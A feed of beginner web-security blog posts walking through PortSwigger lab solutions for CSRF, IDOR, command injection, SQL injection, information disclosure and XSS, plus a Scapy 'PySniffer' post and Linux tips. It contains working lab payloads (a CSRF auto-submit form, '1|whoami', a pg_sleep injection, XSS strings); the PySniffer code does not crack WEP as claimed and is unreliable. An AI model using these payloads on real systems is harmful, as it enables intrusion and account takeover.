DEV Community: Hussain

Cross-Site Request Forgery (CSRF)

Hussain — Tue, 09 Apr 2024 11:44:42 +0000

Cross-Site Request Forgery (CSRF) is an attack that induces a user who is currently logged in to a web application to perform unwanted actions. An attacker can perform social engineering to persuade users of a web application to carry out their desired actions (for example, by sending a link via email or chat). If the victim is a regular user, a successful CSRF attack can force them to carry out state-changing operations like money transfers, email address changes, and other similar tasks. The entire web application may be compromised by CSRF if the victim is an administrative account.

How does CSRF attack works?

Synopsys has done a great job conveying the example of how the Cross-Site Request Forgery attack works, for preventing CSRF check out this OWASP cheatsheet.

Bug Bounty

It’s difficult to understand why CSRF is still so common, there are many protections that can be implemented easily both at an application level and at a server level. Although, they are still being found every day, and are often quite severe. Around 5 months ago, a security researcher was awarded $10,000 for a bug, he reported for Github.

Practical Labs

Before we start I want to clear some important things you’ll see scripting here and as a beginner, it’ll scare you, but you don’t have to worry about that, there are lots of professionals who don’t know how to code but are very much good at their job, but, you do need to clear some concepts of how the code in web application works only then you’ll be able to identify the vulnerability much easier and faster than others, all the payloads are available online, you don’t need to learn JavaScript as the web development pathway, but just to clear some concepts, because that’s where we find the vulnerabilities, I would recommend FreeCodeCamp.

LAB 1

This lab is very much important when it comes to understanding CSRF, once you get the concept of this you’ll be able to solve the other labs. Let’s get started.

This lab’s email change functionality is vulnerable to CSRF.

To solve the lab, craft some HTML that uses a CSRF attack to change the viewer’s email address and upload it to your exploit server.

You can log in to your own account using the following credentials: wiener:peter

After logging in with credentials on “my account” page,

Just to see what happens behind the scenes, we’ll use Burp Suite to intercept traffic when we update email, i’ll be using firefox developer tools:

use the following HTML template and fill in the request’s method,URL, body parameters, which will trick the user in showing “Pwned!” but will be changing his email in background,

<html>
    <body>
        <h1>Pwned!</h1>
        <iframe style="display:none" name="csrf-iframe"></iframe>
        <form action="https://0a7e00bc03fe2d48c09f4d1200b800cb.web-security-academy.net/my-account/change-email" method="POST" target="csrf-iframe" id="csrf-form">
            <input type="hidden" name="email" value="darth@test.com">
        </form>

        <script>document.getElementById("csrf-form").submit()</script>
    </body>
</html>

Go to the exploit server, paste your exploit HTML into the “Body” section, and click “Store”. To verify that the exploit works, try it on yourself by clicking “View exploit” and then check the resulting HTTP request and response. Click “Deliver to victim” to solve the lab.

Conclusion

we’ve covered the basic theoretical and practical knowledge to understand What Cross-site request forgery vulnerability is and how to exploit it hands-on. If you’re interested in cross-site attacks check out my blog on XSS, we only covered the basic practical labs and the remaining of them are for you to practice and get more familiar with it and learn your own way through it, you will find video solutions of the labs under the “community solutions” section, and you can also find the writeups for them, but if you’re having any problem with anything feel free to contact me I’ll reply asap. So today’s topic is done here hope you guys liked it and learn something new from it, I will appreciate the support from you guys. Thanks for reading, and see you on the next topic.

Broken Access Control (IDOR)

Hussain — Sun, 07 Apr 2024 22:29:44 +0000

Broken access control simply refers to a situation in which an application or system’s intended permissions are violated and attackers can access, alter, delete, or do other actions. Broken access control refers to many vulnerabilities, such as when regular users can access admin-only functionality by modifying URL parameters or seeing or updating another user’s data.

Examples of Broken Access Control

Insecure ID’s: Most of the time, we utilize a unique ID when searching for something in a database. This ID is frequently used in the URL to indicate what data the user wishes to obtain. For example, if I’m logged in to a website, my user ID is 10. The URL for my personal profile page is similar to this: https://example.com/profile?id=10. There’s a chance that this page contains private information that only you should see. But what if I swap out the ID for the ID of another user? The profile page of another person, including all of their private data, will be displayed to me if the website is configured incorrectly. For example, if I visit https://example.com/profile?id=42. How can I find out another user’s ID? Using arbitrary user IDs that are kept secret does make things a little harder, but this is far from sufficient security. This is an excellent illustration of “security by obscurity,” which is generally regarded as bad practice. Implementing appropriate access control in the server is a superior approach, as it prevents it from providing the user with the requested data if they are not authorized to view it.

When a user tries to access resources that are still available but are not referenced by the application. For instance, a web application may include an admin page, but since there is no connection to it on other pages of the website, an ordinary user cannot access it by simply browsing the website. However, if the access control is flawed and someone changes the URL directly, such as by visiting https://example.com/admin, they might be able to access the admin page.

Bug Bounty

This is the most common vulnerability you’ll find in applications these days, The most common example of this is Insecure Direct Object Reference (IDOR), about two months ago, a security researcher earned a bounty $11,500 on a mass account takeover at https://app.taxjar.com/, you can see the full report here. So, it’s just like we say, hard to get but easy to notice!

Practical Labs:

Before starting the practical learning, if you’re new to this series, do check out the introductory blog, to stay on the same page as everyone.

LAB 1

This lab has an unprotected admin panel. It’s located at an unpredictable location, but the location is disclosed somewhere in the application.

Solve the lab by accessing the admin panel, and using it to delete the user carlos.

After accessing the lab we see a shop page, to check if something is disclosed we’ll first check the source code by simple doing Ctrl+U,

we found the disclosed source code and the admin path /admin-z28hzh, now we’ll add the path to url and delete the user carlos, mine will be like this:
https://0a1e00f0032f0aa8c0a13e95003d0057.web-security-academy.net/admin-z28hzh

Now, delete the user carlos and submit the solution.

LAB 2

This lab has an admin panel at /admin, which identifies administrators using a forgeable cookie.

Solve the lab by accessing the admin panel and using it to delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter

We’re going to use burp suite this time as some of you are having issues with network tab in chrome tools, to set up Burp Suite + Chrome see this video.

So, to solve this lab we’ll modify the cookie parameter to get us the to admin role, go to my account and login with credentials and intercept the request with burpsuite:

We can see the request in burp suite as:

Observe that Admin=False

change it to Admin=True, and it’ll get you to admin panel, from there delete the user carlos, to solve the

Note: Make sure to set Admin to True everytime you make a request or else it’ll get you back to normal user.

LAB 3:

This lab has user account page that contains the current user’s existing password, prefilled in a masked input.

To solve the lab, retrieve the administrator’s password, then use it to delete carlos.

You can log in to your own account using the following credentials: wiener:peter

Go to my account page, after login in, you’ll see wiener in the user id,
https://0a58007604b09b0dc062440900980034.web-security-academy.net/my-account?id=wiener

change it to administrator and intercept the request and sent it to repeater Ctrl+R to see the password.

Conclusion:

So, we’ve covered the basic theoretical and practical knowledge to understand What command injection vulnerability is and how to exploit it hands-on, we also covered how we can capture the request, modify it, and resend again using Burp Suite. If you’re interested in information disclosure check out my blog, we only covered the basic practical labs and the remaining of them are for you to practice and get more familiar with it and learn your own way through it, you will find video solutions of the labs under the “community solutions” section, and you can also find the writeups for them, but if you’re having any problem with anything feel free to contact me I’ll reply asap. So today’s topic is done here hope you guys liked it and learn something new from it, I will appreciate the support from you guys. Thanks for reading, and see you on the next topic.

References:

Portswigger

Synack

Command Injection (Course Content)

Hussain — Sat, 06 Apr 2024 14:43:09 +0000

In some scenarios, applications need to interact with the system to fetch something and there’s no proper sanitization on the input, if the control goes into the hands of a user, depending on their intentions they can abuse this by executing arbitrary commands which are known as command injection

Acunetix

What is OS Command Injection?

Command injection is a cyber attack in which an attacker takes control of the host operating system by injecting code into a vulnerable application through a command. This code is executed regardless of any security mechanism and can be used to steal data, crash systems, damage databases, and even install malware that can be used later.

Attackers can access a target system through command injection by using various methods and techniques. The attacker runs arbitrary commands in the system shell of the web server that can compromise all relevant data.

Command Examples

Command Injection Code Example

The following PHP code snippet is vulnerable to a command injection attack:

<?php
print("Please specify the name of the file to delete");
print("<p>");
$file=$_GET['filename'];
system("rm $file");
?>

The following request and response is an example of a successful attack:

*Request *http://example.com/delete.php?filename=bob.txt;id

Response

`Please specify the name of the file to delete

uid=33(www-data) gid=33(www-data) groups=33(www-data)
`
Sanitizing Input

Replace or Ban arguments with “;” Other shell escapes available Example: – && – | – ...

Bug Bounty

This vulnerability is considered the most critical and finding this in a bug bounty program can lead to a 4 figure bounty award, in bug bounty reports, you’ll see this vulnerability as Remote Code Execution (RCE). PlayStation was impacted by this bug disclosed in a report with the reward of $15000 but the finding is very rare as the organizations know the impact of this vulnerability is very much critical, so they’re always looking for it and patching it, but not all of them! 😉

Practical Labs

LAB 1

This lab contains an OS command injection vulnerability in the product stock checker.

The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.

To solve the lab, execute the whoamicommand to determine the name of the current user.

After “Accessing the Lab” click on any of the products, and you’ll be redirected to its page at the bottom you’ll see a button “stock check” click on it, now when you’ll do that, you’ll see a POST request being made, open “Browser Tools” to see it:

Now click on the request and click on “Edit and Resent”, modify the storeID parameter, giving it the value 1|whoami

Send the modified request to solve the lab. and the response you can see the hostname of that system!

Conclusion

So, we’ve covered the basic theoretical and practical knowledge to understand What command injection vulnerability is and how to exploit it hands-on, we also covered how we can capture the request, modify it, and resend again using browser tools. If you’re interested in finding information available check out my blog, we covered only the basic practical labs and the remaining of them are for you to practice and get more familiar with it and learn your own way through it, you will find video solutions of the labs under the “community solutions” section, and you can also find the writeups for them, but if you’re having any problem with anything feel free to contact me I’ll reply asap. So today’s topic is done here hope you guys liked it and learn something new from it, I will appreciate the support from you guys. Thanks for reading, and see you on the next topic.

References:

https://www.stackhawk.com/blog/what-is-command-injection/
https://owasp.org/www-community/attacks/Command_Injection
https://www.whitehatsec.com/glossary/content/os-command-injection

SQL Injection - Course Content

Hussain — Tue, 02 Apr 2024 12:33:27 +0000

SQL injection, also known as SQLI, is a common attack vector that uses malicious SQL code for backend database manipulation to access information that was not intended to be displayed. This information may include any number of items, including sensitive company data, user lists, or private customer details.

Impacts of SQL-Injection

The impact SQL injection can have on a business is far-reaching. A successful attack may result in the unauthorized viewing of user lists, the deletion of entire tables, and, in some instances, the attacker gaining administrative rights to a database, all of which are highly detrimental to a business.

When calculating the potential cost of an SQLi, it’s important to consider the loss of customer trust should personal information such as phone numbers, addresses, and credit card details be stolen.

Types of SQL-Injection

There are a wide variety of SQL injection vulnerabilities, attacks, and techniques, which arise in different situations. Some common SQL injection examples include:

Retrieving hidden data, where you can modify an SQL query to return additional results.
Subverting application logic, where you can change a query to interfere with the application’s logic.
UNION attacks, where you can retrieve data from different database tables.
Examining the database, where you can extract information about the version and structure of the database.
Blind SQL injection, where the results of a query you control are not returned in the application’s responses.

Bug Bounty

if you see at the hacktivity, you’ll see that sql-injection bugs are rarely found these days, but it doesn’t mean that it can’t be found, its critical impacts make it the most rewarded bug bounty, hunters have earned up to $25000 bounty on reporting critical SQL-Injection Bug. So, it’s better to learn it, could be a game changer for you!

SQL-Injection in MySQL

In SQL: select id, firstname, lastname from authors

If one provided: Firstname: evil'ex and Lastname: Newman

the query string becomes:

select id, firstname, lastname from authors where firstname = 'evil'ex' and lastname ='newman'

which the database attempts to run as:

Incorrect syntax near il' as the database tried to execute evil.
You can manipulate the string and get sensitive data from databases, this is how we’re able to perform SQL-Injection attacks, you’ll understand more clearly when we’ll do the practical labs.

Practical Labs

Very BIG shout out to ARZ for his contributions of writeups for the community.

LAB 6

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics and performs an SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it can trigger conditional time delays to infer information.

To solve the lab, exploit the SQL injection vulnerability to cause a 10-second delay.

After Accessing the lab, intercept the page’s request using Browser Tools or Burp Suite, I’ll be using Firefox Tools, refresh the page and you’ll see the request in the “Network” tab,

Now, right-click on this tab and click on “Edit and Resend”

Modify the TrackingId cookie, changing it to: TrackingId=x'||pg_sleep(10)--

Submit the request and observe that the application takes 10 seconds to respond.

SQLMAP

When we talk about sql-injection this tool is what first comes to mind! SQLMAP is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers. Using sqlmap, you could automate sql-injection attacks and dump the databases. we could also use the requests by saving in a file and running with sqlmap, you can find its simplest cheatsheet here.

Conclusion

So, we’ve covered the basic theoretical and practical knowledge to understand What SQLi vulnerability is and how to exploit it hands-on, we also covered how we can capture the request, modify it, and resend again using browser tools. we covered only the basic practical labs and the remaining of them are for you to practice and get more familiar with it and learn your own way through it, you will find video solutions of the labs under the “community solutions” section, and you can also find the writeups for them, but if you’re having any problem with anything feel free to contact me I’ll reply asap. So today’s topic is done here hope you guys liked it and learn something new from it, I will appreciate the support from you guys. Thanks for reading, and see you on the next topic.

References:
OWASP

PortSwigger

Imperva

Information Disclosure

Hussain — Mon, 01 Apr 2024 16:53:58 +0000

In this topic, I’ll show you how to find and exploit information disclosure vulnerabilities (Bugs) in an application and how to prevent them. Have you accidentally done Ctrl+U to a website’s page and seen something unusual as comments? or saw some version information on an error message? or somehow saw secret information in their source code on Github? So any information revealing or leaking online can be seen by a keen eye and reported as a bug, you’ll wonder how an organization so big can be this lazy to hide their secrets online, but it’s true sometimes big companies often make mistakes in hiding their secret information online including passwords, secret keys, APIs and confidential data. Let’s see how we can find them.

Information Disclosure (Leakage)

Information disclosure refers to a bug where some type of sensitive data (secret keys, PII, passwords, etc.) is accessible in a way that it shouldn’t be. There are so many ways that this can happen, but some of the most common scenarios are:

Unsecured S3 buckets
Secret keys in client-side JavaScript
Passwords and secret keys in public Github repositories
Internal documentation exposed to the internet inadvertently

So, this pretty much sums up what vulnerability is and where to find them, but if you want to take a deep dive into this topic PortSwigger has a great blog on this.

Dorking

This is the topic that other blogs discussing information disclosure do not cover, but this is the most essential skill needed for this, this is the easiest and most productive way to find secret information available on the internet using open-source intelligence (OSINT) to search through an organization’s source code and files. Google Dorking is what comes first into mind, with an ability to search using advanced filters, you can get secret data. You can find the best techniques here, there is also an online tool which does that for you.

Now, whenever we talk about source code the first thing that comes into mind is Github, we can also use Github Dorks to search secrets in the code, you will find useful search techniques in its cheatsheet, there is also a GitHub tool for that Github-Dorks.

Bug Bounty

From a bug bounty perspective, this type of vulnerability is usually a P4. It’s important to note that this is extremely easy to detect, which means that it will nearly always be a duplicate. Bug hunters earn $100 to $200 for this type of vulnerability. So, this could be easy money for you if you’re the first to look at it!

Information Disclosure Labs

LAB 1

When showing an error, applications give out the version information of their server for which we can search and find exploits for that version, this lab’s verbose error messages reveal that it is using a vulnerable version of a third-party framework. To solve the lab, obtain and submit the version number of this framework.

“Access the lab” and you’ll see a shop page, to make any error happen we should do something which is not intended, Click on “View Details” of any product, and you’ll see a “productId” parameter with an id number, you’ll see other products by changing its id’s, but what if we put something alphabetic in there? this could show us the error, I’ll change the product Id parameter to “hello”, let’s see what it shows:

Yes! It worked and it showed us the error with exploitable version information:

Now, go back to the lab, and click “Submit solution” with the “Apache Struts” version to solve the lab.

LAB 2

Remember when I told you about comments which reveal sensitive information? well, we’re at it. Access the lab and you’ll see a shop page, view the page source or do Ctrl+U, scroll down to the end and you’ll see a page location given as a comment

Now, go to that page,

view-source:https://YOUR_LAB_ID.web-security-academy.net/cgi-bin/phpinfo.php

You will see a bunch of secret information there, but what we need is a SECRET_KEY, find the key using Ctrl+f, and we found the key there:

Go back to the lab, click “Submit solution”, and enter the SECRET_KEY to solve the lab.

LAB 3

So, every web application has a robots.txt file which tells search engine crawlers which URLs the crawler can access on your site. which makes that file accessible, but sometimes they’re too specific to the crawlers and give the location of a secret directory which they don’t want the crawlers to crawl, we’ll deal with the same scenario here. This lab leaks its source code via backup files in a hidden directory. To solve the lab, identify and submit the database password, which is hard-coded in the leaked source code.

https://YOUR_LAB_ID.web-security-academy.net/robots.txt

notice that it reveals the existence of a /backup directory. Browse to /backup to find the file ProductTemplate.java.bak

https://YOUR_LAB_ID.web-security-academy.net/backup

Browse to ProductTemplate.java.bak to access the source code. notice that the connection builder contains the hard-coded password for a Postgres database.

Go back to the lab, click “Submit solution”, and enter the database password to solve the lab.

Conclusion

This covers the knowledge of information disclosure vulnerability and how to exploit them, there are 2 labs remaining on this topic that are on you to solve it, if you need any help with solutions you can find them on the lab page along with the video community solutions, also practice along with OSINT and it’s tools on how to extract sensitive information available online, and if you need any help regarding this topic feel free to contact me, and let me know the feedbacks in the comment section if there is anything to improve. Also, check out the previous topic Cross-Site-Scripting. See you on the next topic.

Cross-Site Scripting (XSS)

Hussain — Sat, 30 Mar 2024 16:40:54 +0000

Hello, first of all, thank you for your great responses and feedback, Let’s start with the first topic of this series which will be my favourite one, Cross-Site Scripting commonly known as XSS. So this is how it’s going to be, we’ll discuss what XSS is in both theoretical and practical ways, but one thing that we’ll discuss here that you won’t find on any other web security courses is how XSS and its types look like in a piece of code, which will help you in source code review assessments and will make your job much easier.

What is Cross-Site Scripting?

A cross-site scripting (XSS) attack injects malicious code into vulnerable web applications. XSS does not target the application directly. Instead, XSS targets the users of a web application. A successful XSS attack can cause reputational damages and loss of customer trust, depending on the scope of the attack. XSS attacks can reveal session cookies, which allow cyber criminals to impersonate real users and use their accounts.

How does an XSS attack work?

Cross-site scripting is when an attacker manipulates a vulnerable website so it returns malicious scripts to the user. This process typically involves JavaScript, but an attacker can use any client-side language. XSS primarily targets JavaScript due to the language’s integration with many browsers.

The weaknesses that allow XSS attacks to occur are widespread. XSS attacks can exploit vulnerabilities in different environments – examples include Flash, VBScript, JavaScript, and ActiveX. The ability to exploit widely used platforms makes XSS attacks a severe threat.

Types of XSS attacks

Reflected XSS Attacks
Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

Stored XSS Attacks
Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

The data in question might be submitted to the application via HTTP requests; for example, comments on a blog post, user nicknames in a chat room, or contact details on a customer order. In other cases, the data might arrive from other untrusted sources; for example, a webmail application displaying messages received over SMTP, a marketing application displaying social media posts, or a network monitoring application displaying packet data from network traffic.

DOM-based XSS Attacks

DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.

In a typical case, the input field would be populated from part of the HTTP request, such as a URL query string parameter, allowing the attacker to deliver an attack using a malicious URL, in the same manner as reflected XSS.

Reflected XSS Code Example

The following definitions and examples were provided by Owasp project:

The following code segment reads the eid parameter from the HTTP request and displays it. There is no validation in the code to verify that that value of eid is alphanumeric text. An attacker can replace this value with malicious source code, and it will execute in the browser.

<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

The danger of this vulnerability is that attackers can email the URL with the malicious code to a user and cause them to click it, thus running malicious code on their own device.

Stored XSS Code Example:

The following code is a database query that reads an employee’s name from the database and displays it. The vulnerability is that there is no validation of the value of the name data field. If data in this field can be provided by a user, an attacker can feed malicious code into the name field. This malicious code will then be stored in the database, and whenever the name is displayed in a browser, the malicious code will execute.

<%…
 Statement stmt = conn.createStatement();
 ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
 if (rs != null) {
  rs.next();
  String name = rs.getString("name");
%>

Employee Name: <%= name %>

404 page XSS Attack Code Example

Consider a traditional 404 error page that displays the URL the user attempted to access and informs the user that it does not exist.

<html>
<body>
<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>

Because the code does not validate the REQUEST_URI, an attacker can manipulate this data value to execute a malicious script. Attackers can use this, for example, to hijack a session cookie.

http://example.com/<script>alert("TEST");</script> The result is: Not found: / (but with JavaScript code <script>alert("TEST");</script>)

Exploiting Cross-Site Scripting

Now, we’re done with the theoretical explanation of XSS, now let’s move to the most interesting part which is going to be how to exploit web applications vulnerable to XSS. As I mentioned in my series introduction post, you need to sign up at PortSwigger’s Academy if you haven’t done that click here. They also got a blog post for cross-site scripting do check it out.

Reflected XSS Labs
LAB 1:

After Signing up go to All Labs sections and browse to Cross-Site Scripting Arz has done a great walkthrough for XSS Lab 1.

LAB 2:

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the alert function.

Click on “Access Lab” to start your instance, you’ll see a blog page like this:

search anything into the search bar and you’ll observe something that it’s been reflected inside a quoted ” ” attribute, to escape the quoted attribute we’ll have to adjust our payload like this:
"onmouseover="alert(1) you can do this with Burp after intercepting the search request and modifying the search request with our payload. You will get an alert box of “1” when you mouseover on the search bar, and congratulations you solved this lab!

Stored XSS Labs

LAB 1

This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the blog post is viewed.

After accessing the lab you’ll see a blog post like this:

Click on “view post”‘ and then you’ll be redirected to a blog post, then browse through the comments section and modify the comment section with this payload <script>alert("xss")</script> and since the comment section was vulnerable to Stored XSS your payload will get stored in the comment and will keep seeing alert whenever you refresh the page!

LAB 2

This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

After clicking on “Access Lab” you’ll see a blog page just like the last Stored XSS challenge that we did, but in this challenge, we have to make the application show the alert box when clicking on the author’s name, and we’ll also have to modify our payload in the “Website:” field because if you observe there when author name is clicked it redirects us to the website URL we put, so to make it appear dialogue box on when clicking, what JavaScript event we’ll have to use to make it like that? any guesses?

We’ll use onclick event to make it appear alert box when clicked. After posting the comment click on that comment author for me it’ll be “darth”

DOM-Based XSS Labs

LAB 1

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

After accessing the lab you’ll see a search bar, search with any string,

after clicking on the search button, go to Inspect Element (F12), you’ll see that your random string has been placed inside an img src attribute. So we’ll use "> to breakout from that attribute and our payload will be:
"><svg onload=alert(1)>

Conclusion

So, we’ve covered the basic theoretical and practical knowledge to understand What XSS vulnerability is and how to exploit it hands-on, we covered only the basic practical labs and the remaining of them are for you to practice and get more familiar with it and learn your own way through it, you will find video solutions of the labs under the “community solutions” section, and you can also find the writeups for them, but if you’re having any problem with anything feel free to contact me I’ll reply asap. So today’s topic is done here hope you guys liked it and learn something new from it, I will appreciate the support from you guys. Thanks for reading, and see you on the next topic.

Learn WebSec with Sain: Introduction

Hussain — Fri, 29 Mar 2024 19:21:30 +0000

Hello Learners, hope you all are doing fine, So, I'm going to start this series of "Learn WebSec with Sain" in which we will be discussing Web Application Security, We'll be covering the most common vulnerability once a week starting next week, both theoretical and practical on how to exploit real-world vulnerabilities (Bugs) in web applications and how to prevent them. This will give you basic insights on that bug by identifying to exploiting phase, As this series is going to be Beginner-Friendly, Professionals can also take away something from this, but before we start a big thanks to my friend Arz for helping me with this initiative and all the people along the way. So without further ado let's start with the Introduction.

What is WebSec and what to do with that?

All applications such as mobile, cloud, website, and desktop must be protected to keep their data safe against malicious attacks as well as unintentional breaches and failures. Web application security is a collection of protocols and tools that work together to achieve this.
Finding, repairing, and removing vulnerabilities ensures that functions exposed in the Web application are secure.

What are the most common bugs found in 2022?

According to the research from HackerOne disclosed reports, these are the top 10 bugs that are commonly found in web applications:

Sensitive data exposure - Course Content

Cross-Site Scripting (XSS) - Course Content

Subdomain Takeover

Broken Access Control (including IDOR) - Course Content

Authentication Bypass

Cross-Site Request Forgery (CSRF) - Course Content

Open Redirect

Identification and Authentication Failures

SQL-Injection - Course Content

Command Injection - Course Content

Can I have a career in WebSec?

Cybersecurity itself is a great career choice, According to U.S. Bureau of Labor Statistics "Employment of information security analysts is projected to grow 33 percent from 2020 to 2030, much faster than the average for all occupations." There are nearly 600,000 cybersecurity job openings across the United States, according to recent data from Cyber Seek and about 16,300 openings for information security analysts are projected each year, on average, over the decade. So are you ready to challenge yourself in the world of cyber security? now's the time to take the leap!

In WebSec, after clearing the concepts and deep diving into it, you can also start working on Bug Bounty Programs, in which you'll get handsomely rewarded for the bug you report, bug bounty hunters earn hundreds and thousands of $ for a bug they report, some of the most known bug bounty and vulnerability disclosure platforms are HackerOne, BugCrowd, Intigriti.

Prerequisites:

Before we start I want to clear up some important things you'll see lots of scripting here and as a beginner, it'll scare you, but you don't have to worry about that, there are lots of professionals who don't know how to code but are very much good at their job, but, you do need to clear some concepts of how the code in web application works only then you'll be able to identify the vulnerability much easier and faster than others, you don't need to learn JavaScript as the web development pathway, but just to clear some concepts, because that's where we find the vulnerabilities, I would recommend FreeCodeCamp, and TomNomNom has a great video on Javascript For Hackers do check it out. Below are some prerequisites of the course, no need to stress, they're not much compared to others :D

Basic knowledge of JavaScript and its functions
Knowledge of Burp Suite, click here to download Burp Suite
Some out-of-the-box thinking and know how to use a browser ;)

Course Structure:

This will be a writeup-based course in which we'll be covering a vulnerability once a week starting next week, we'll be using the PortSwigger Academy labs to get practical hands-on training, this course won't be just about solving labs but we'll also do some research on that particular vulnerability and solve the labs along with it. We'll cover the "Apprentice" level labs for the beginners, and the remaining advanced level labs will be little homework for you until we meet for the next bug to discuss a different vulnerability. make sure to sign up at Portswigger Academy, I hope you guys take good knowledge from this and will appreciate your support on this.

PySniffer: A Wireless Network Tool

Hussain — Thu, 28 Mar 2024 20:40:01 +0000

In the field of cybersecurity, capturing and analyzing network traffic is a crucial task. With Scapy, a powerful packet manipulation tool in Python, you can capture, analyze, and manipulate network packets in real-time. I created a wireless network tool called PySniffer that enables you to capture, analyze, and crack wireless network traffic.

PySniffer is a tool that I created using the Python programming language and the Scapy library. The name PySniffer is a combination of two words: “Py,” which is short for Python, and “Sniffer,” which is a term used to describe a tool that monitors network traffic.

I came up with the idea for PySniffer when I first learned about the Scapy library. Scapy is a powerful packet manipulation tool that can be used for network analysis, penetration testing, and more. I realized that by using Scapy, I could create a tool that would allow me to sniff wireless network traffic and analyze it for security purposes.

It allows you to do two main things:

Sniff wireless network traffic and extract the SSID, BSSID, and channel of each wireless network beacon frame.
Crack WEP encryption using an ARP injection attack and a specified WEP key.

Creating PySniffer

Here are the steps I followed to create PySniffer:

Step 1: Installing Scapy
The first step was to install the Scapy library. Scapy is a powerful packet manipulation tool that allows you to capture, analyze, and manipulate network packets in real-time. You can install Scapy using pip with the following command:

pip install scapy
Step 2: Define the handle_packet() Function
The handle_packet() function is responsible for handling packets that are captured by Scapy. This function takes a packet argument, which is a Scapy packet object.

Inside the handle_packet() function, we can access various packet attributes using Scapy’s built-in packet fields. For example, we can check if the packet has a Dot11 layer (which is the layer used for Wi-Fi packets) using the packet.haslayer(Dot11) method.

Step 3: Define the sniff_wireless() Function
The sniff_wireless() function is responsible for sniffing wireless network traffic. This function takes an interface argument, which is the name of the wireless interface to use for sniffing.

Inside the sniff_wireless() function, we can use the sniff() function from Scapy to start sniffing wireless network traffic. We can pass in the iface argument to specify the wireless interface to use, and the prn argument to specify the callback function to be called for each packet that is captured.

Step 4: Define the crack_wep() Function
The crack_wep() function is responsible for cracking WEP encryption. This function takes five arguments: interface, bssid, channel, ssid, and wep_key.

Inside the crack_wep() function, we first set some Scapy configuration variables (conf.iface and conf.monitor) to prepare for packet sniffing. We then use the os.system() function to set the wireless interface to the correct channel.

Next, we create an ARP request packet using the ARP() function from Scapy. This packet is used to send a request to the access point with the specified bssid to obtain its MAC address.

We then create a broadcast packet using the Ether() function from Scapy. This packet is used to send the ARP request to all devices on the network.

We use the srp() function from Scapy to send the broadcast packet and wait for a response. If we receive a response, we check if the response is an ARP response and if the source IP address is the router’s IP address. If these conditions are met, we print the WEP key and return.

Source Code:

from scapy.all import *

# Function to sniff wireless network traffic
def sniff_wireless(interface):
    sniff(iface=interface, prn=handle_packet)

# Function to handle captured packets
def handle_packet(packet):
    if packet.haslayer(Dot11):
        if packet.type == 0 and packet.subtype == 8: # Beacon frame
            ssid = packet.info.decode()
            bssid = packet.addr3
            channel = int(ord(packet[Dot11Elt:3].info))
            print(f"SSID: {ssid}, BSSID: {bssid}, Channel: {channel}")

# Function to crack WEP encryption
def crack_wep(interface, bssid, channel, ssid, wep_key):
    conf.iface = interface
    conf.monitor = True
    os.system(f"iwconfig {interface} channel {channel}")
    key = wep_key.split(":")
    key = bytes([int(x, 16) for x in key])
    arp_request = ARP(pdst="192.168.1.1/24", hwdst=bssid)
    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = broadcast / arp_request
    while True:
        response = srp(packet, timeout=1, verbose=False)[0]
        if response:
            for packet in response:
                if packet[ARP].op == 2:
                    if packet[ARP].psrc == "192.168.1.1":
                        print("WEP Key Found: ", wep_key)
                        return

# Example usage
interface = "wlan0"
ssid = "MyWifiNetwork"
bssid = "00:11:22:33:44:55"
channel = 6
wep_key = "a0:1b:2c:3d:4e:5f"
sniff_thread = threading.Thread(target=sniff_wireless, args=(interface,))
sniff_thread.start()
crack_wep(interface, bssid, channel, ssid, wep_key)

Usage:

Clone the repository to your local machine:

git clone https://github.com/sainsec/PySniffer.git

Install the necessary dependencies:

pip install -r requirements.txt

Run the tool with the following command to sniff wireless network traffic:

python pysniffer.py sniff INTERFACE

Run the tool with the following command to crack WEP encryption:

python pysniffer.py crack INTERFACE BSSID CHANNEL SSID WEP_KEY
Replace INTERFACE, BSSID, CHANNEL, SSID, and WEP_KEY with the appropriate values for the network you want to target.

PySniffer is a powerful tool that can help you secure your wireless network by monitoring the traffic that is passing through it. Whether you are a network administrator, a security professional, or just a curious user, PySniffer can help you better understand your network and keep it secure. You can also find this tool my Github. Thanks for reading!

New Here!!

Hussain — Thu, 28 Mar 2024 19:56:15 +0000

Hi, everyone so i'm new here and prev I was doing blogs on my personal website but now I think I should give it all to this community too, so great to seeing you all and happy learning . :)

Linux Command Lines That You Should Know!

Hussain — Thu, 28 Mar 2024 19:52:59 +0000

Have you ever encountered frustration running commands in the terminal to get one job done? You use plenty of commands to get one job and then you get frustrated, These are the command lines that will lessen your frustration and get you more productive on the task, So, are you ready to be Pro in Linux? let’s start with emptying the file!

Just Empty Don’t Delete!

If you just want to empty the file without deleting the file itself, you can use this command:

> filename

Use alias to mistypos

Sometimes it must have happened to you that you always mistype a command and you have to retype it again, So no need to retype it again just use alias in Linux!

For example, you might often mistype echo as ecoh, then just put an alias in your bashrc file like this:

alias ecoh=echo

less to read files

Using cat to see the contents of the file is not a good option, because it displays the whole text and then you struggle to see the script from the start,

Using less command to read files is better option.

less path_to_file

You can search for terms inside less, move by page, display with line numbers etc.

Move to beginning or end of line

This has happened to me many times, whenever I’m working with a long command, I used to use arrow keys to get to the beginning, but my nightmare ended when I found out this!

